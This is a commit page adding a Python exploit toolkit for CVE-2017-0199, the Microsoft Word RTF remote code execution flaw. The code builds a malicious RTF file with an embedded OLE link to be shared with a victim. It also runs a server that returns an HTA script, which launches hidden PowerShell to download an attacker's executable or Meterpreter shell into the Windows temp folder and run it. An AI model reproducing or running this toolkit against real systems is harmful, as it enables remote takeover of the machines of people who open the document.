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@bhdresh
bhdresh authored Apr 18, 2017
1 parent 50f713a commit 53857a2
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181 changes: 181 additions & 0 deletions cve-2017-0199_toolkit.py
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import os,sys,thread,socket,sys,getopt

BACKLOG = 50 # how many pending connections queue will hold
MAX_DATA_RECV = 999999 # max number of bytes we receive at once
DEBUG = True # set to True to see the debug msgs
def main(argv):
# Host and Port information
global port
global host
global filename
global docuri
global port
global payloadurl
global payloadlocation
port = int("80")
host = '0.0.0.0'
# Capture command line arguments
try:
opts, args = getopt.getopt(argv,"hM:w:u:p:e:l:",["mode=","filename=","docuri=","port=","payloadurl=","payloadlocation="])
except getopt.GetoptError:
print 'Help: python '+sys.argv[0]+' -h'
sys.exit(2)
for opt, arg in opts:
if opt == '-h':
print "\nThis is a handy toolkit to exploit CVE-2017-0199 (Microsoft Word RTF RCE)\n"
print "Modes:\n"
print " -M gen Generate Malicious RTF file only\n"
print " Generate malicious RTF file:\n"
print " -w <Filename.rtf> Name of malicious RTF file (Share this file with victim).\n"
print " -u <http://attacker.com/test.hta> The path to an hta file. Normally, this should be a domain or IP where this tool is running.\n"
print " For example, http://attackerip.com/test.hta (This URL will be included in malicious RTF file and\n"
print " will be requested once victim will open malicious RTF file.\n"
print " -M exp Start exploitation mode\n"
print " Exploitation:\n"
print " -p <TCP port:Default 80> Local port number.\n"
print " -e <http://attacker.com/shell.exe> The path of an executable file / meterpreter shell / payload which needs to be executed on target.\n"
print " -l </tmp/shell.exe> Local path of an executable file / meterpreter shell / payload (If payload is hosted locally).\n"
sys.exit()
elif opt in ("-M","--mode"):
mode = arg
elif opt in ("-w", "--filename"):
filename = arg
elif opt in ("-u", "--docuri"):
docuri = arg
elif opt in ("-p", "--port"):
port = int(arg)
elif opt in ("-e", "--payloadurl"):
payloadurl = arg
elif opt in ("-l", "--payloadlocation"):
payloadlocation = arg
if "gen" in mode:
if filename or docuri == None:
print 'Help: python '+sys.argv[0]+' -h'
sys.exit()
print "Generating payload"
generate_exploit_rtf()
if "exp" in mode:
if port or payloadurl or payloadlocation == None:
print 'Help: python '+sys.argv[0]+' -h'
sys.exit()
print "Running exploit mode - waiting for victim to connect"
exploitation()

def generate_exploit_rtf():
# Preparing malicious Doc
s = docuri
docuri_hex = "00".join("{:02x}".format(ord(c)) for c in s)
docuri_pad_len = 224 - len(docuri_hex)
docuri_pad = "0"*docuri_pad_len
uri_hex = "010000020900000001000000000000000000000000000000a4000000e0c9ea79f9bace118c8200aa004ba90b8c000000"+docuri_hex+docuri_pad+"00000000795881f43b1d7f48af2c825dc485276300000000a5ab0000ffffffff0609020000000000c00000000000004600000000ffffffff0000000000000000906660a637b5d201000000000000000000000000000000000000000000000000100203000d0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"

payload = "{\\rtf1\\adeflang1025\\ansi\\ansicpg1252\\uc1\\adeff31507\\deff0\\stshfdbch31505\\stshfloch31506\\stshfhich31506\\stshfbi31507\\deflang1033\\deflangfe2052\\themelang1033\\themelangfe2052\\themelangcs0\n"
payload += "{\\info\n"
payload += "{\\author }\n"
payload += "{\\operator }\n"
payload += "}\n"
payload += "{\\*\\xmlnstbl {\\xmlns1 http://schemas.microsoft.com/office/word/2003/wordml}}\n"
payload += "{\n"
payload += "{\\object\\objautlink\\objupdate\\rsltpict\\objw291\\objh230\\objscalex99\\objscaley101\n"
payload += "{\\*\\objclass Word.Document.8}\n"
payload += "{\\*\\objdata 0105000002000000\n"
payload += "090000004f4c45324c696e6b000000000000000000000a0000\n"
payload += "d0cf11e0a1b11ae1000000000000000000000000000000003e000300feff0900060000000000000000000000010000000100000000000000001000000200000001000000feffffff0000000000000000ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n"
payload += "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n"
payload += "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n"
payload += "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n"
payload += "fffffffffffffffffdfffffffefffffffefffffffeffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n"
payload += "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n"
payload += "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n"
payload += "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n"
payload += "ffffffffffffffffffffffffffffffff52006f006f007400200045006e00740072007900000000000000000000000000000000000000000000000000000000000000000000000000000000000000000016000500ffffffffffffffff020000000003000000000000c000000000000046000000000000000000000000704d\n"
payload += "6ca637b5d20103000000000200000000000001004f006c00650000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a000200ffffffffffffffffffffffff00000000000000000000000000000000000000000000000000000000\n"
payload += "000000000000000000000000f00000000000000003004f0062006a0049006e0066006f00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000120002010100000003000000ffffffff0000000000000000000000000000000000000000000000000000\n"
payload += "0000000000000000000004000000060000000000000003004c0069006e006b0049006e0066006f000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000014000200ffffffffffffffffffffffff000000000000000000000000000000000000000000000000\n"
payload += "00000000000000000000000005000000b700000000000000010000000200000003000000fefffffffeffffff0600000007000000feffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n"
payload += "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n"
payload += "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n"
payload += "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n"
payload += "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n"
payload += uri_hex+"\n"
payload += "0105000000000000}\n"
payload += "{\\result {\\rtlch\\fcs1 \\af31507 \\ltrch\\fcs0 \\insrsid1979324 }}}}\n"
payload += "{\\*\\datastore }\n"
payload += "}\n"
f = open(filename, 'w')
f.write(payload)
f.close()
print "Generated "+filename+" successfully"

def exploitation():

print "Server Running on ",host,":",port

try:
# create a socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# associate the socket to host and port
s.bind((host, port))

# listenning
s.listen(BACKLOG)

except socket.error, (value, message):
if s:
s.close()
print "Could not open socket:", message
sys.exit(1)

# get the connection from client
while 1:
conn, client_addr = s.accept()

# create a thread to handle request
thread.start_new_thread(server_thread, (conn, client_addr))

s.close()

def server_thread(conn, client_addr):

# get the request from browser
try:
request = conn.recv(MAX_DATA_RECV)
if (len(request) > 0):
# parse the first line
first_line = request.split('\n')[0]

# get method
method = first_line.split(' ')[0]
# get url
url = first_line.split(' ')[1]
check_exe_request = url.find('.exe')
if (check_exe_request > 0):
print "Received request for payload from "+client_addr[0]
size = os.path.getsize(payloadlocation)
data = "HTTP/1.1 200 OK\r\nDate: Sun, 16 Apr 2017 18:56:41 GMT\r\nServer: Apache/2.4.25 (Debian)\r\nLast-Modified: Sun, 16 Apr 2017 16:56:22 GMT\r\nAccept-Ranges: bytes\r\nContent-Length: "+str(size)+"\r\nKeep-Alive: timeout=5, max=100\r\nConnection: Keep-Alive\r\nContent-Type: application/x-msdos-program\r\n\r\n"
with open(payloadlocation) as fin:
data +=fin.read()
conn.send(data)
conn.close()
sys.exit(1)
if method in ['GET', 'get']:
print "Received GET method from "+client_addr[0]
data = "HTTP/1.1 200 OK\r\nDate: Sun, 16 Apr 2017 17:11:03 GMT\r\nServer: Apache/2.4.25 (Debian)\r\nLast-Modified: Sun, 16 Apr 2017 17:30:47 GMT\r\nAccept-Ranges: bytes\r\nContent-Length: 315\r\nKeep-Alive: timeout=5, max=100\r\nConnection: Keep-Alive\r\nContent-Type: application/hta\r\n\r\n<script>\na=new ActiveXObject(\"WScript.Shell\");\na.run('%SystemRoot%/system32/WindowsPowerShell/v1.0/powershell.exe -windowstyle hidden (new-object System.Net.WebClient).DownloadFile(\\'"+payloadurl+"\\', \\'c:/windows/temp/shell.exe\\'); c:/windows/temp/shell.exe', 0);window.close();\n</script>\r\n"
conn.send(data)
conn.close()
if method in ['OPTIONS', 'options']:
print "Receiver OPTIONS method from "+client_addr[0]
data = "HTTP/1.1 200 OK\r\nDate: Sun, 16 Apr 2017 17:47:14 GMT\r\nServer: Apache/2.4.25 (Debian)\r\nAllow: OPTIONS,HEAD,GET\r\nContent-Length: 0\r\nKeep-Alive: timeout=5, max=100\r\nConnection: Keep-Alive\r\nContent-Type: text/html"
conn.send(data)
conn.close()
if method in ['HEAD', 'head']:
print "Received HEAD method from "+client_addr[0]
data = "HTTP/1.1 200 OK\r\nDate: Sun, 16 Apr 2017 17:11:03 GMT\r\nServer: Apache/2.4.25 (Debian)\r\nLast-Modified: Sun, 16 Apr 2017 17:30:47 GMT\r\nAccept-Ranges: bytes\r\nContent-Length: 315\r\nKeep-Alive: timeout=5, max=100\r\nConnection: Keep-Alive\r\nContent-Type: application/doc\r\n\r\n"
conn.send(data)
conn.close()
sys.exit(1)
except socket.error, ex:
print ex
if __name__ == '__main__':
main(sys.argv[1:])

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